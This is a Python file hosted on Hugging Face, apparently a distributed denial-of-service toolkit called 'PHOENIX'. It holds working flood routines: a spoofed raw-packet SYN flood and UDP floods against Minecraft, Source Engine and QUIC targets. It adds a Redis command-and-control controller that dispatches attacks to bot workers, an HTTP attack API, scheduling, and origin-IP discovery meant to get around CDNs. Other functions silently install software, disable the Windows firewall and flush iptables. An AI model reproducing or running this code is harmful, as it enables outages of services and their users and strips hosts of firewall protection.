Download 1.py from Speedo0o/Bosa: direct link, hf CLI and curl.
- Browser
- Download file 309 kB
-
https://huggingface.co/Speedo0o/Bosa/resolve/main/1.py
- Command line
-
hf download hf://Speedo0o/Bosa/1.py
-
curl -L -o 1.py https://huggingface.co/Speedo0o/Bosa/resolve/main/1.py
309 kB
| #!/usr/bin/env python3 | |
| """ | |
| ██████╗ ██╗ ██╗ ██████╗ ███████╗███╗ ██╗██╗██╗ ██╗ | |
| ██╔══██╗██║ ██║██╔═══██╗██╔════╝████╗ ██║██║╚██╗██╔╝ | |
| ██████╔╝███████║██║ ██║█████╗ ██╔██╗ ██║██║ ╚███╔╝ | |
| ██╔═══╝ ██╔══██║██║ ██║██╔══╝ ██║╚██╗██║██║ ██╔██╗ | |
| ██║ ██║ ██║╚██████╔╝███████╗██║ ╚████║██║██╔╝ ██╗ | |
| ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═══╝╚═╝╚═╝ ╚═╝ | |
| """ | |
| # ============================================================================ | |
| # تثبيت التبعيات تلقائياً (إن لم تكن موجودة) | |
| # ============================================================================ | |
| import subprocess | |
| import sys | |
| import os | |
| import platform | |
| import shutil | |
| import urllib.request | |
| import warnings | |
| try: | |
| from urllib3.exceptions import InsecureRequestWarning | |
| warnings.filterwarnings("ignore", category=InsecureRequestWarning) | |
| except Exception: | |
| pass | |
| required_packages = ["aiohttp", "requests", "h2", "uvloop", "aioquic", "beautifulsoup4", "curl_cffi", "scapy", "httpx", "websockets", "redis", "fastapi", "uvicorn", "apscheduler", "pywinauto"] | |
| if platform.system() == "Windows": | |
| try: | |
| import ctypes | |
| def _is_windows_admin(): | |
| try: | |
| return ctypes.windll.shell32.IsUserAnAdmin() != 0 | |
| except Exception: | |
| return False | |
| if not _is_windows_admin(): | |
| print("[!] Script is not running as Administrator. Some optional features may require admin privileges.") | |
| print("[!] If you need firewall or raw socket features, restart this script as Administrator.") | |
| except Exception: | |
| pass | |
| skip_packages = {"uvloop"} if platform.system() == "Windows" else set() | |
| missing = [] | |
| for pkg in required_packages: | |
| if pkg in skip_packages: | |
| continue | |
| try: | |
| __import__(pkg.replace("-", "_")) | |
| except ImportError: | |
| missing.append(pkg) | |
| if missing or skip_packages: | |
| if missing: | |
| print(f"[!] Installing missing packages: {', '.join(missing)}") | |
| if skip_packages: | |
| skipped = ", ".join(sorted(skip_packages)) | |
| print(f"[!] Skipping unsupported package(s) on this OS: {skipped}") | |
| installed = [] | |
| for pkg in missing: | |
| try: | |
| subprocess.check_call([sys.executable, "-m", "pip", "install", pkg]) | |
| installed.append(pkg) | |
| except subprocess.CalledProcessError as e: | |
| print(f"[!] Failed to install {pkg}: {e}") | |
| continue | |
| if platform.system() == "Windows": | |
| def _app_installed(paths): | |
| return any(os.path.exists(path) for path in paths if path) | |
| def _download_file(url, target, headers=None): | |
| headers = headers or {"User-Agent": "Mozilla/5.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.9"} | |
| try: | |
| req = urllib.request.Request(url, headers=headers) | |
| with urllib.request.urlopen(req, timeout=120) as response: | |
| content = response.read() | |
| with open(target, "wb") as f: | |
| f.write(content) | |
| return True | |
| except Exception as e: | |
| try: | |
| import requests | |
| resp = requests.get(url, headers=headers, timeout=120, allow_redirects=True) | |
| if resp.status_code == 200: | |
| with open(target, "wb") as f: | |
| f.write(resp.content) | |
| return True | |
| print(f"[!] HTTP {resp.status_code} downloading {target}") | |
| except Exception: | |
| pass | |
| print(f"[!] Failed to download {target}: {e}") | |
| return False | |
| def _install_file(target): | |
| try: | |
| if target.lower().endswith(".msi"): | |
| subprocess.check_call(["msiexec.exe", "/i", target, "/quiet", "/qn", "/norestart"], timeout=180) | |
| else: | |
| subprocess.check_call([target, "/S"], timeout=180) | |
| return True | |
| except Exception as e: | |
| print(f"[!] Failed to install {target}: {e}") | |
| return False | |
| warp_paths = [ | |
| r"C:\Program Files\Cloudflare\Cloudflare WARP\warp-cli.exe", | |
| r"C:\Program Files (x86)\Cloudflare\Cloudflare WARP\warp-cli.exe", | |
| r"C:\Program Files\Cloudflare\Cloudflare WARP\Cloudflare WARP.exe", | |
| r"C:\Program Files (x86)\Cloudflare\Cloudflare WARP\Cloudflare WARP.exe", | |
| ] | |
| tuxler_paths = [ | |
| os.path.join(os.environ.get('LOCALAPPDATA', ''), r"TuxlerVPN\TuxlerVPN.exe"), | |
| r"C:\Program Files\TuxlerVPN\TuxlerVPN.exe", | |
| r"C:\Program Files (x86)\TuxlerVPN\TuxlerVPN.exe", | |
| ] | |
| if not _app_installed(warp_paths): | |
| print("[!] Cloudflare WARP not detected, downloading and installing...") | |
| installer = os.path.join(os.path.dirname(__file__), "Cloudflare_WARP.msi") | |
| if _download_file( | |
| "https://1111-releases.cloudflareclient.com/windows/Cloudflare_WARP_Release-x64.msi", | |
| installer, | |
| headers={"User-Agent": "Mozilla/5.0", "Accept": "application/octet-stream"} | |
| ): | |
| _install_file(installer) | |
| if not _app_installed(tuxler_paths): | |
| print("[!] Tuxler VPN not detected, downloading and installing...") | |
| installer = os.path.join(os.path.dirname(__file__), "TuxlerVPN_Setup.exe") | |
| if _download_file( | |
| "https://api.tuxlervpn.com/extension_event.php?id=download_desktop_win", | |
| installer, | |
| headers={ | |
| "User-Agent": "Mozilla/5.0", | |
| "Referer": "https://www.tuxlervpn.com/download-windows/", | |
| "Accept": "application/octet-stream", | |
| "Accept-Language": "en-US,en;q=0.9", | |
| } | |
| ): | |
| _install_file(installer) | |
| npcap_paths = [ | |
| r"C:\Windows\System32\Npcap\wpcap.dll", | |
| r"C:\Program Files\Npcap\wpcap.dll", | |
| r"C:\Program Files (x86)\Npcap\wpcap.dll", | |
| ] | |
| def _is_admin(): | |
| try: | |
| import ctypes | |
| return ctypes.windll.shell32.IsUserAnAdmin() != 0 | |
| except Exception: | |
| return False | |
| def _run_as_admin(executable, arguments=""): | |
| try: | |
| import ctypes | |
| ret = ctypes.windll.shell32.ShellExecuteW(None, "runas", executable, arguments, None, 1) | |
| return int(ret) > 32 | |
| except Exception as e: | |
| print(f"[!] Elevation launch failed: {e}") | |
| return False | |
| def _install_npcap(target): | |
| try: | |
| if target.lower().endswith(".exe"): | |
| if _is_admin(): | |
| subprocess.check_call([target, "/S", "/winpcap_mode=yes"], timeout=240) | |
| return True | |
| print("[!] Npcap installer requires elevation. Launching UAC prompt...") | |
| return _run_as_admin(target, "/S /winpcap_mode=yes") | |
| except Exception as e: | |
| print(f"[!] Failed to install Npcap automatically: {e}") | |
| return False | |
| if not _app_installed(npcap_paths): | |
| print("[!] Npcap not detected, downloading and installing...") | |
| installer = os.path.join(os.path.dirname(__file__), "npcap_installer.exe") | |
| if _download_file( | |
| "https://nmap.org/npcap/dist/npcap-1.71.exe", | |
| installer, | |
| headers={"User-Agent": "Mozilla/5.0", "Accept": "application/octet-stream"} | |
| ): | |
| if not _install_npcap(installer): | |
| print("[!] Automatic Npcap install failed. Please run this script as Administrator, or install Npcap manually from https://npcap.com/ and enable WinPcap API-compatible mode.") | |
| # ============================================================================ | |
| # الاستيرادات الأساسية | |
| # ============================================================================ | |
| import socket | |
| import struct | |
| import random | |
| import time | |
| # datetime imported below as module (import datetime) | |
| # ============================================================================ | |
| # MISSING FLOODER FUNCTIONS – NUCLEAR POWER | |
| # ============================================================================ | |
| def flooder(host, port, data, until): | |
| """TCP SYN Flood – raw packet spoofing (requires admin)""" | |
| try: | |
| s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) | |
| s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) | |
| raw = True | |
| except PermissionError: | |
| s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) | |
| raw = False | |
| src_ip = socket.gethostbyname(socket.gethostname()) | |
| while datetime.datetime.now() < until: | |
| try: | |
| if raw: | |
| ip_header = struct.pack('!BBHHHBBH4s4s', 0x45, 0, 0, 0x4000, 0, 64, 6, 0, | |
| socket.inet_aton(src_ip), socket.inet_aton(host)) | |
| tcp_header = struct.pack('!HHLLBBHHH', random.randint(1,65535), port, 0, 0, 0x50, 0x02, 0xFFFF, 0, 0) | |
| s.sendto(ip_header + tcp_header, (host, port)) | |
| else: | |
| s.sendto(data * 1024, (host, port)) | |
| except Exception: | |
| pass | |
| def mine(host, port, data, until): | |
| """Minecraft UDP flood – large packets""" | |
| s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) | |
| payload = data * 4096 | |
| while datetime.datetime.now() < until: | |
| try: | |
| s.sendto(payload[:4096], (host, port)) | |
| except Exception: | |
| pass | |
| def vse(host, port, data, until): | |
| """Source Engine (VSE) query flood""" | |
| s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) | |
| while datetime.datetime.now() < until: | |
| try: | |
| s.sendto(data * 1024, (host, port)) | |
| except Exception: | |
| pass | |
| def sender(host, port, until, data): | |
| """UDP random payload flood""" | |
| s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) | |
| while datetime.datetime.now() < until: | |
| try: | |
| s.sendto(data + bytes(random.randint(0, 255) for _ in range(1024)), (host, port)) | |
| except Exception: | |
| pass | |
| # Wrappers for CLI | |
| def runflooder(host, port, workers, duration): | |
| until = datetime.datetime.now() + datetime.timedelta(seconds=duration) | |
| data = random._urandom(1024) | |
| for _ in range(workers): | |
| threading.Thread(target=flooder, args=(host, port, data, until), daemon=True).start() | |
| time.sleep(duration) | |
| def runmine(host, port, workers, duration): | |
| until = datetime.datetime.now() + datetime.timedelta(seconds=duration) | |
| data = b'\x06\x00/\x00\x00\x00\x02\x0c\x00' | |
| for _ in range(workers): | |
| threading.Thread(target=mine, args=(host, port, data, until), daemon=True).start() | |
| time.sleep(duration) | |
| def runvse(host, port, workers, duration): | |
| until = datetime.datetime.now() + datetime.timedelta(seconds=duration) | |
| data = b'\xFF\xFF\xFF\xFF\x54\x53\x6F\x75\x72\x63\x65\x20\x45\x6E\x67\x69\x6E\x65\x20\x51\x75\x65\x72\x79' | |
| for _ in range(workers): | |
| threading.Thread(target=vse, args=(host, port, data, until), daemon=True).start() | |
| time.sleep(duration) | |
| def runsender(host, port, workers, duration): | |
| until = datetime.datetime.now() + datetime.timedelta(seconds=duration) | |
| data = random._urandom(1024) | |
| for _ in range(workers): | |
| threading.Thread(target=sender, args=(host, port, until, data), daemon=True).start() | |
| time.sleep(duration) | |
| import asyncio | |
| import aiohttp | |
| import argparse | |
| import concurrent.futures | |
| import datetime | |
| import http.client | |
| import http.cookiejar | |
| import json | |
| import logging | |
| import math | |
| import random | |
| import socket | |
| import ssl | |
| import struct | |
| import threading | |
| import time | |
| import urllib.error | |
| import urllib.parse | |
| import urllib.request | |
| import re | |
| from collections import defaultdict | |
| from typing import Dict, List, Optional, Tuple | |
| from threading import Thread | |
| from http.server import SimpleHTTPRequestHandler | |
| from socketserver import ThreadingTCPServer | |
| from xmlrpc.server import SimpleXMLRPCServer | |
| import xmlrpc.client | |
| import sched | |
| import uuid | |
| from apscheduler.schedulers.background import BackgroundScheduler | |
| from fastapi import FastAPI, HTTPException | |
| from fastapi.responses import JSONResponse | |
| import uvicorn | |
| from pydantic import BaseModel | |
| import tkinter as tk | |
| from tkinter import ttk, scrolledtext, messagebox, filedialog, simpledialog | |
| import queue | |
| import hashlib | |
| import base64 | |
| # محاولة استيراد uvloop لتحسين الأداء | |
| try: | |
| import uvloop | |
| asyncio.set_event_loop_policy(uvloop.EventLoopPolicy()) | |
| except ImportError: | |
| pass | |
| # Fix curl_cffi warning on Windows event loop | |
| # if platform.system() == "Windows": | |
| # try: | |
| # if sys.version_info < (3, 16): | |
| # with warnings.catch_warnings(): | |
| # warnings.simplefilter("ignore", DeprecationWarning) | |
| # asyncio.set_event_loop_policy(asyncio.WindowsProactorEventLoopPolicy()) | |
| # except Exception: | |
| # pass | |
| # ============================================================================ | |
| # محاولة استيراد أدوات التخفي الاختيارية | |
| # ============================================================================ | |
| try: | |
| from bs4 import BeautifulSoup, Tag | |
| BS4_AVAILABLE = True | |
| except ImportError: | |
| BS4_AVAILABLE = False | |
| try: | |
| from curl_cffi import requests as cffi_requests | |
| CURL_CFFI_AVAILABLE = True | |
| except ImportError: | |
| CURL_CFFI_AVAILABLE = False | |
| try: | |
| from playwright.sync_api import sync_playwright | |
| PLAYWRIGHT_AVAILABLE = True | |
| except ImportError: | |
| PLAYWRIGHT_AVAILABLE = False | |
| try: | |
| from scapy.all import IP, TCP, send, RandShort | |
| SCAPY_AVAILABLE = True | |
| except ImportError: | |
| SCAPY_AVAILABLE = False | |
| # Check admin privileges globally | |
| try: | |
| import ctypes | |
| IS_ADMIN = ctypes.windll.shell32.IsUserAnAdmin() != 0 | |
| except Exception: | |
| IS_ADMIN = os.geteuid() == 0 if hasattr(os, 'geteuid') else False | |
| try: | |
| import httpx | |
| HTTPX_AVAILABLE = True | |
| except ImportError: | |
| HTTPX_AVAILABLE = False | |
| async def quic_flood(target_host: str, target_port: int = 443, count: int = 100): | |
| """هجوم عبر بروتوكول QUIC (HTTP/3) - استنزاف CPU""" | |
| try: | |
| from aioquic.asyncio import connect | |
| from aioquic.quic.configuration import QuicConfiguration | |
| except ImportError: | |
| print("[!] aioquic not installed. Install: pip install aioquic") | |
| return | |
| async def _send_quic(): | |
| config = QuicConfiguration(is_client=True, alpn_protocols=["h3"]) | |
| try: | |
| async with connect(target_host, target_port, configuration=config) as connection: | |
| for _ in range(10): | |
| stream_id = connection.get_next_available_stream_id() | |
| connection.send_stream_data(stream_id, b"GET / HTTP/3\r\nHost: " + target_host.encode() + b"\r\n\r\n") | |
| await asyncio.sleep(0.01) | |
| except Exception: | |
| pass | |
| tasks = [asyncio.create_task(_send_quic()) for _ in range(min(count, 200))] | |
| await asyncio.gather(*tasks, return_exceptions=True) | |
| def get_public_ip() -> str: | |
| try: | |
| import requests | |
| return requests.get("https://api.ipify.org", timeout=5).text.strip() | |
| except Exception: | |
| try: | |
| return socket.gethostbyname(socket.gethostname()) | |
| except Exception: | |
| return "127.0.0.1" | |
| def create_raw_sockets(count: int): | |
| sockets = [] | |
| for _ in range(count): | |
| try: | |
| if platform.system() == "Linux": | |
| sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003)) | |
| else: | |
| sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) | |
| sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) | |
| sockets.append(sock) | |
| except Exception: | |
| break | |
| return sockets | |
| def disable_windows_firewall(): | |
| if platform.system() != "Windows": | |
| return False | |
| try: | |
| subprocess.check_call(["netsh", "advfirewall", "set", "allprofiles", "state", "off"], shell=False) | |
| return True | |
| except Exception: | |
| return False | |
| def disable_linux_iptables(): | |
| if platform.system() != "Linux": | |
| return False | |
| try: | |
| subprocess.check_call(["sudo", "iptables", "-F"], shell=False) | |
| subprocess.check_call(["sudo", "iptables", "-X"], shell=False) | |
| subprocess.check_call(["sudo", "iptables", "-P", "INPUT", "ACCEPT"], shell=False) | |
| subprocess.check_call(["sudo", "iptables", "-P", "OUTPUT", "ACCEPT"], shell=False) | |
| subprocess.check_call(["sudo", "iptables", "-P", "FORWARD", "ACCEPT"], shell=False) | |
| return True | |
| except Exception: | |
| return False | |
| def load_targets_from_file(filepath: str): | |
| targets = [] | |
| try: | |
| with open(filepath, "r", encoding="utf-8", errors="ignore") as handle: | |
| for line in handle: | |
| cleaned = line.strip() | |
| if cleaned and not cleaned.startswith("#"): | |
| targets.append(cleaned) | |
| except Exception: | |
| pass | |
| return targets | |
| def find_origin_ip(domain: str): | |
| results = [] | |
| resolved_ips = set() | |
| try: | |
| import requests | |
| crt_url = f"https://crt.sh/?q=%25{domain}&output=json" | |
| resp = requests.get(crt_url, timeout=15, headers={"User-Agent": "Mozilla/5.0"}) | |
| if resp.status_code == 200: | |
| try: | |
| rows = resp.json() | |
| for row in rows: | |
| name = row.get("name_value", "") | |
| for ip in re.findall(r"\b(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b", name): | |
| resolved_ips.add(ip) | |
| except Exception: | |
| pass | |
| except Exception: | |
| pass | |
| try: | |
| answers = socket.gethostbyname_ex(domain) | |
| for ip in answers[2]: | |
| resolved_ips.add(ip) | |
| except Exception: | |
| pass | |
| for ip in sorted(resolved_ips): | |
| for port in [80, 443, 8080, 8443]: | |
| try: | |
| s = socket.create_connection((ip, port), timeout=3) | |
| s.close() | |
| results.append({"ip": ip, "port": port}) | |
| except Exception: | |
| continue | |
| if not results: | |
| results = [{"ip": ip, "port": None} for ip in sorted(resolved_ips)] | |
| return results | |
| def scan_ports(target: str, ports: List[int], timeout: float = 2.0): | |
| open_ports = [] | |
| for port in ports: | |
| try: | |
| sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
| sock.settimeout(timeout) | |
| sock.connect((target, port)) | |
| open_ports.append(port) | |
| except Exception: | |
| pass | |
| finally: | |
| try: | |
| sock.close() | |
| except Exception: | |
| pass | |
| return open_ports | |
| def schedule_attack(controller, target: str, mode: str, time_str: str, duration: float, total_requests: int, repeat: str = "none"): | |
| try: | |
| schedule_time = datetime.datetime.strptime(time_str, "%Y-%m-%d %H:%M") | |
| except ValueError: | |
| raise ValueError("Invalid schedule format. Use YYYY-MM-DD HH:MM") | |
| if schedule_time < datetime.datetime.now(): | |
| raise ValueError("Schedule time must be in the future.") | |
| def job_action(): | |
| controller.distribute_attack(target, mode, threads=controller.default_thread_allocation(), duration=duration, total_requests=total_requests) | |
| if repeat == "hourly": | |
| controller.scheduler.add_job(job_action, "interval", hours=1, next_run_time=schedule_time) | |
| elif repeat == "daily": | |
| controller.scheduler.add_job(job_action, "interval", days=1, next_run_time=schedule_time) | |
| elif repeat == "weekly": | |
| controller.scheduler.add_job(job_action, "interval", weeks=1, next_run_time=schedule_time) | |
| else: | |
| controller.scheduler.add_job(job_action, "date", run_date=schedule_time) | |
| return schedule_time.isoformat() | |
| def create_api_app(controller): | |
| app = FastAPI() | |
| class AttackRequest(BaseModel): | |
| target: str | |
| mode: str = "http" | |
| method: str = "GET" | |
| payload: str = "" | |
| threads: int = 500 | |
| duration: float = 60.0 | |
| total_requests: int = 100000 | |
| ports: Optional[List[int]] = None | |
| batch_targets: Optional[List[str]] = None | |
| schedule: Optional[str] = None | |
| repeat: str = "none" | |
| def api_attack(request: AttackRequest): | |
| if controller.active_attacks: | |
| raise HTTPException(status_code=409, detail="Another attack is already active.") | |
| if request.batch_targets: | |
| controller.batch_targets = request.batch_targets | |
| attack_id = controller.distribute_attack( | |
| target=request.target, | |
| mode=request.mode, | |
| threads=request.threads, | |
| duration=request.duration, | |
| total_requests=request.total_requests, | |
| ) | |
| return JSONResponse({"attack_id": attack_id, "status": "scheduled"}) | |
| def api_stop(): | |
| controller.stop_all_attacks() | |
| return JSONResponse({"status": "stopped"}) | |
| def api_status(): | |
| return JSONResponse({"active_attacks": len(controller.active_attacks), "workers": controller.get_online_workers(), "stats": controller.collect_stats()}) | |
| def api_workers(): | |
| return JSONResponse({"workers": controller.get_worker_info_list()}) | |
| def api_port_scan(ports: List[int], target: str): | |
| scan_result = controller.distributed_port_scan(target, ports) | |
| return JSONResponse({"target": target, "open_ports": scan_result}) | |
| return app | |
| def start_api_server(controller, host: str = "0.0.0.0", port: int = 8080): | |
| app = create_api_app(controller) | |
| thread = Thread(target=lambda: uvicorn.run(app, host=host, port=port, log_level="info"), daemon=True) | |
| thread.start() | |
| return thread | |
| def start_c2_server(host: str = "127.0.0.1", port: int = 6379, logger: logging.Logger = None): | |
| controller = DistributedController(redis_host=host, redis_port=port, logger=logger) | |
| controller.start() | |
| return controller | |
| class DistributedController: | |
| def __init__(self, redis_host: str = "localhost", redis_port: int = 6379, logger: logging.Logger = None): | |
| self.redis_host = redis_host | |
| self.redis_port = redis_port | |
| self.logger = logger or logging.getLogger("power_attack") | |
| self.connected = False | |
| self.active_attacks = {} | |
| self.batch_targets: List[str] = [] | |
| self.last_status_check = time.time() | |
| self.scheduler = BackgroundScheduler() | |
| self.scheduler.start() | |
| self.lock = threading.Lock() | |
| self.pubsub = None | |
| self.subscriber_thread = None | |
| self.monitor_thread = None | |
| self.worker_threads = {} | |
| try: | |
| import redis | |
| self.redis = redis.Redis(host=redis_host, port=redis_port, decode_responses=True, socket_timeout=5, socket_connect_timeout=5) | |
| self.redis.ping() | |
| self.connected = True | |
| self.pubsub = self.redis.pubsub(ignore_subscribe_messages=True) | |
| self.log(f"[C2] Connected to Redis at {redis_host}:{redis_port}", "INFO") | |
| except Exception as exc: | |
| self.log(f"[C2] Redis connection failed: {exc}", "ERROR") | |
| self.connected = False | |
| def _now(self): | |
| return int(time.time()) | |
| def log(self, message: str, level: str = "INFO"): | |
| if self.logger: | |
| if level == "ERROR": | |
| self.logger.error(message) | |
| elif level == "WARNING": | |
| self.logger.warning(message) | |
| else: | |
| self.logger.info(message) | |
| else: | |
| print(message) | |
| def start(self): | |
| if not self.connected: | |
| self.log("[C2] Cannot start controller without Redis.", "ERROR") | |
| return | |
| self._start_monitor() | |
| self._start_command_listener() | |
| self.log("[C2] Controller is running.", "SUCCESS") | |
| def _start_command_listener(self): | |
| if not self.pubsub: | |
| return | |
| def loop(): | |
| try: | |
| self.pubsub.subscribe("c2:commands") | |
| for message in self.pubsub.listen(): | |
| if message and message.get("type") == "message": | |
| payload = message.get("data") | |
| try: | |
| data = json.loads(payload) | |
| self.log(f"[C2] Command received: {data}", "INFO") | |
| except Exception: | |
| continue | |
| except Exception as exc: | |
| self.log(f"[C2] Command listener error: {exc}", "ERROR") | |
| self.subscriber_thread = threading.Thread(target=loop, daemon=True) | |
| self.subscriber_thread.start() | |
| def _start_monitor(self): | |
| def monitor(): | |
| while True: | |
| try: | |
| now = self._now() | |
| workers = self.redis.smembers("workers") if self.connected else set() | |
| for worker_id in list(workers): | |
| info = self.redis.hgetall(f"worker:{worker_id}") | |
| if not info: | |
| self.redis.srem("workers", worker_id) | |
| continue | |
| last_seen = float(info.get("last_seen", "0")) | |
| if now - last_seen > 30: | |
| self.log(f"[C2] Worker {worker_id} timed out.", "WARNING") | |
| self.redis.srem("workers", worker_id) | |
| self.redis.hset(f"worker:{worker_id}", "status", "offline") | |
| self._rebalance_attacks(worker_id) | |
| time.sleep(10) | |
| except Exception as exc: | |
| self.log(f"[C2] Monitor error: {exc}", "ERROR") | |
| time.sleep(10) | |
| self.monitor_thread = threading.Thread(target=monitor, daemon=True) | |
| self.monitor_thread.start() | |
| def register_worker(self, worker_id: str, ip: str, max_threads: int, os_name: str, status: str = "ready"): | |
| if not self.connected: | |
| return False | |
| self.redis.sadd("workers", worker_id) | |
| self.redis.hset(f"worker:{worker_id}", mapping={ | |
| "worker_id": worker_id, | |
| "ip": ip, | |
| "max_threads": str(max_threads), | |
| "os": os_name, | |
| "status": status, | |
| "last_seen": str(self._now()), | |
| "total_requests": "0", | |
| "rps": "0" | |
| }) | |
| self.redis.expire(f"worker:{worker_id}", 90) | |
| self.log(f"[C2] Worker registered: {worker_id} ({ip})", "SUCCESS") | |
| return True | |
| def heartbeat_worker(self, worker_id: str, stats: Optional[Dict] = None): | |
| if not self.connected: | |
| return | |
| data = { | |
| "last_seen": str(self._now()), | |
| "status": "ready" | |
| } | |
| if stats: | |
| data["total_requests"] = str(stats.get("total_requests", 0)) | |
| data["rps"] = str(stats.get("rps", 0)) | |
| data["status"] = stats.get("status", "ready") | |
| self.redis.hset(f"worker:{worker_id}", mapping=data) | |
| self.redis.expire(f"worker:{worker_id}", 90) | |
| def get_online_workers(self): | |
| if not self.connected: | |
| return [] | |
| worker_ids = list(self.redis.smembers("workers")) | |
| return [self.get_worker_info(worker_id) for worker_id in worker_ids if self.get_worker_info(worker_id)] | |
| def get_worker_info(self, worker_id: str): | |
| if not self.connected: | |
| return {} | |
| info = self.redis.hgetall(f"worker:{worker_id}") | |
| if not info: | |
| return {} | |
| return info | |
| def get_worker_info_list(self): | |
| return self.get_online_workers() | |
| def collect_stats(self): | |
| stats = { | |
| "workers": 0, | |
| "total_requests": 0, | |
| "rps": 0, | |
| "active": 0, | |
| "offline": 0 | |
| } | |
| for worker in self.get_online_workers(): | |
| stats["workers"] += 1 | |
| stats["total_requests"] += int(worker.get("total_requests", 0)) | |
| stats["rps"] += int(worker.get("rps", 0)) | |
| if worker.get("status") == "ready": | |
| stats["active"] += 1 | |
| else: | |
| stats["offline"] += 1 | |
| return stats | |
| def default_thread_allocation(self): | |
| workers = self.get_online_workers() | |
| return sum(int(w.get("max_threads", 1)) for w in workers) or 1 | |
| def send_command_to_worker(self, worker_id: str, command: str, params: Dict): | |
| if not self.connected: | |
| return False | |
| payload = json.dumps({"command": command, "params": params, "timestamp": self._now()}) | |
| channel = f"worker:{worker_id}:command" | |
| self.redis.publish(channel, payload) | |
| self.redis.hset(f"worker:{worker_id}", mapping={"last_command": command, "last_params": json.dumps(params), "status": "assigned"}) | |
| return True | |
| def distribute_attack(self, target: str, mode: str, threads: int, duration: float, total_requests: int): | |
| if not self.connected: | |
| self.log("[C2] Cannot distribute attack without Redis.", "ERROR") | |
| return "offline" | |
| workers = self.get_online_workers() | |
| if not workers: | |
| self.log("[C2] No workers available to distribute attack.", "WARNING") | |
| return "no_workers" | |
| total_capacity = sum(int(w.get("max_threads", 1)) for w in workers) | |
| if total_capacity <= 0: | |
| total_capacity = len(workers) | |
| attack_id = f"attack-{int(time.time())}" | |
| self.active_attacks[attack_id] = { | |
| "target": target, | |
| "mode": mode, | |
| "threads": threads, | |
| "duration": duration, | |
| "total_requests": total_requests, | |
| "assigned": [], | |
| "start_time": self._now() | |
| } | |
| request_budget = total_requests if total_requests > 0 else int(duration * 1000) | |
| offset = 0 | |
| for worker in workers: | |
| weight = int(worker.get("max_threads", 1)) | |
| worker_count = max(1, int(request_budget * weight / total_capacity)) | |
| params = { | |
| "attack_id": attack_id, | |
| "target": target, | |
| "mode": mode, | |
| "threads": min(threads, weight), | |
| "duration": duration, | |
| "total_requests": worker_count, | |
| "offset": offset, | |
| "limit": worker_count, | |
| "batch_targets": self.batch_targets, | |
| } | |
| offset += worker_count | |
| self.send_command_to_worker(worker["worker_id"], "attack", params) | |
| self.active_attacks[attack_id]["assigned"].append({"worker_id": worker["worker_id"], "requests": worker_count}) | |
| self.log(f"[C2] Distributed attack {attack_id} to {len(workers)} workers.", "SUCCESS") | |
| return attack_id | |
| def distributed_port_scan(self, target: str, ports: List[int], workers: int = 0): | |
| if not self.connected: | |
| return scan_ports(target, ports) | |
| online = self.get_online_workers() | |
| if not online: | |
| return scan_ports(target, ports) | |
| scan_results = {} | |
| for worker in online: | |
| worker_id = worker.get("worker_id") | |
| self.send_command_to_worker(worker_id, "port_scan", {"target": target, "ports": ports}) | |
| time.sleep(3) | |
| for worker in online: | |
| worker_id = worker.get("worker_id") | |
| try: | |
| raw = self.redis.get(f"worker:{worker_id}:port_scan_result") | |
| if raw: | |
| scan_results[worker_id] = json.loads(raw) | |
| except Exception: | |
| pass | |
| aggregated = set() | |
| for item in scan_results.values(): | |
| for port in item.get("open_ports", []): | |
| aggregated.add(port) | |
| return sorted(aggregated) | |
| def stop_all_attacks(self): | |
| with self.lock: | |
| self.active_attacks.clear() | |
| self.log("[C2] Stopped all active attack assignments.", "WARNING") | |
| for worker in self.get_online_workers(): | |
| self.send_command_to_worker(worker["worker_id"], "stop", {}) | |
| def _rebalance_attacks(self, missing_worker_id: str): | |
| with self.lock: | |
| for attack_id, attack in list(self.active_attacks.items()): | |
| assignment = [item for item in attack.get("assigned", []) if item["worker_id"] == missing_worker_id] | |
| if not assignment: | |
| continue | |
| remaining = sum(item["requests"] for item in assignment) | |
| self.log(f"[C2] Rebalancing {remaining} requests from offline worker {missing_worker_id}", "WARNING") | |
| attack["assigned"] = [item for item in attack["assigned"] if item["worker_id"] != missing_worker_id] | |
| active_workers = [w for w in self.get_online_workers() if w["worker_id"] != missing_worker_id] | |
| if not active_workers: | |
| self.log("[C2] No remaining workers to rebalance attack.", "ERROR") | |
| continue | |
| total_capacity = sum(int(w.get("max_threads", 1)) for w in active_workers) | |
| for worker in active_workers: | |
| weight = int(worker.get("max_threads", 1)) | |
| assigned_requests = max(1, int(remaining * weight / total_capacity)) | |
| params = { | |
| "attack_id": attack_id, | |
| "target": attack["target"], | |
| "mode": attack["mode"], | |
| "threads": min(attack["threads"], weight), | |
| "duration": attack["duration"], | |
| "total_requests": assigned_requests, | |
| "offset": 0, | |
| "limit": assigned_requests, | |
| "batch_targets": self.batch_targets, | |
| } | |
| self.send_command_to_worker(worker["worker_id"], "attack", params) | |
| attack["assigned"].append({"worker_id": worker["worker_id"], "requests": assigned_requests}) | |
| def is_worker_command(self, command: str) -> bool: | |
| return command in {"attack", "port_scan", "stop", "heartbeat"} | |
| def run_worker_loop(args, logger: logging.Logger): | |
| controller = DistributedController(redis_host=args.c2_server, redis_port=args.c2_port, logger=logger) | |
| if not controller.connected: | |
| logger.error("Unable to connect to Redis C2 backend.") | |
| return | |
| worker_id = str(uuid.uuid4()) | |
| ip = get_public_ip() | |
| max_threads = args.workers if hasattr(args, "workers") else 100 | |
| os_name = platform.system() | |
| controller.register_worker(worker_id, ip, max_threads, os_name) | |
| def heartbeat_loop(): | |
| while True: | |
| controller.heartbeat_worker(worker_id) | |
| time.sleep(10) | |
| hb_thread = threading.Thread(target=heartbeat_loop, daemon=True) | |
| hb_thread.start() | |
| pubsub = controller.redis.pubsub(ignore_subscribe_messages=True) | |
| pubsub.subscribe(f"worker:{worker_id}:command") | |
| logger.info(f"[WORKER] Listening for commands on worker:{worker_id}:command") | |
| for message in pubsub.listen(): | |
